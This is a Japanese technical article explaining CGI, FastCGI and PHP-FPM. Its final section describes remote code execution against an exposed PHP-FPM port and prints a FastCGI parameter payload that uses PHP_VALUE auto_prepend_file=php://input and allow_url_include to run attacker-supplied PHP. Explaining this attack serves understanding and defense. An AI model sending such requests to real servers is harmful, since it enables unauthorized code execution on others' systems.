CGIの概要
Common Gateway Interface(CGI)は、ウェブサーバーと外部プログラム間でデータをやり取りするための標準プロトコルです。これにより、クライアント(ブラウザ)はサーバー上で実行されるプログラムにリクエストを送信し、動的なコンテンツを取得できます。
CGIは言語に依存せず、スクリプト言語やコンパイル言語など、システム上で実行可能な任意の言語で実装可能です。本質的には、ウェブサーバーが解析したHTTPリクエストデータを処理する仕組みです。
CGIの処理フロー
- ユーザーがブラウザからリクエストを送信(例:
http://example.com/login?user=alice&passwd=secret) - サーバーがリクエストを受信・解析
- NGINXなどのサーバーがCGIプログラムにデータを渡すため、新しいプロセスを起動
- CGIプロセスがリクエストを処理
- 結果がクライアントに返却
CGIの構造と課題
典型的なCGIプロセスは以下の手順で動作します:
- 設定ファイルの読み込み(必要に応じて)
- データベースなどの外部サービスへの接続
- ビジネスロジックの実行
- 結果をサーバーに返す
- プロセス終了
この方式の最大の問題は、**各リクエストごとにプロセスを生成・破棄する点**にあります。高負荷時に大量のプロセス生成が発生し、システムリソースを浪費し、パフォーマンスが著しく低下します。
FastCGIの登場
FastCGIはCGIの欠点を改善するために設計されたプロトコルです。主な目的は、ウェブサーバーとアプリケーション間の通信オーバーヘッドを削減し、同時リクエスト処理能力を向上させることです。
FastCGIの核心は「**永続プロセス**」の採用にあります。各リクエストごとにプロセスを生成するのではなく、あらかじめ起動されたプロセスが複数のリクエストを順次処理します。これらのプロセスはウェブサーバーではなく、専用のプロセスマネージャーによって管理されます。
FastCGI vs CGI
CGIは短命なプロセス(リクエストごとにfork/exec)であるのに対し、FastCGIは長期間稼働するデーモンプロセスです。典型的なFastCGIアプリケーションは以下のような無限ループで動作します:
while (FCGI_Accept() >= 0) {
// リクエスト処理
}
FastCGIの実装と利用
NGINXはApacheとは異なり、直接外部プログラムを実行できません。代わりに、リバースプロキシとして機能し、リクエストをバックエンドのFastCGIプロセスに転送します。
FastCGIプロセスは通常、spawn-fcgiのようなプロセスマネージャーによって管理されます。これはLighttpd由来の軽量ツールで、プリフォークモデルを採用し、リスニングポートを開いてから子プロセスとしてFastCGIアプリケーションを起動します。
PHP-FPMと脆弱性
PHP-FPM(FastCGI Process Manager)は、PHP向けのFastCGI実装です。デフォルトではTCPポート9000で待ち受け、FastCGIプロトコル形式のリクエストを処理します。
このポートが外部からアクセス可能である場合、攻撃者は独自に構築したFastCGIリクエストを送信し、任意のPHP設定を上書きできる可能性があります。
脆弱性の悪用条件と手法
以下の2つの条件が満たされると、リモートコード実行(RCE)が可能になります:
- サーバー上のPHPファイルの絶対パスが既知
- PHP-FPMのポート(例: 9000)にネットワークアクセス可能
攻撃者は以下のようなFastCGIパラメータを含むリクエストを構築できます:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '',
'REQUEST_URI': '/index.php',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'CustomClient',
'REMOTE_ADDR': '127.0.0.1',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': 'localhost',
'SERVER_PROTOCOL': 'HTTP/1.1',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
ここで重要なのは、PHP_VALUEとPHP_ADMIN_VALUEによるPHP設定の動的変更です。
auto_prepend_file = php://input:スクリプト実行前にPOSTボディの内容をPHPコードとして読み込むallow_url_include = On:php://inputなどのラッパーをインクルード可能にする
これにより、攻撃者はPOSTリクエストのボディに任意のPHPコードを埋め込み、ターゲットサーバー上で実行させることが可能になります。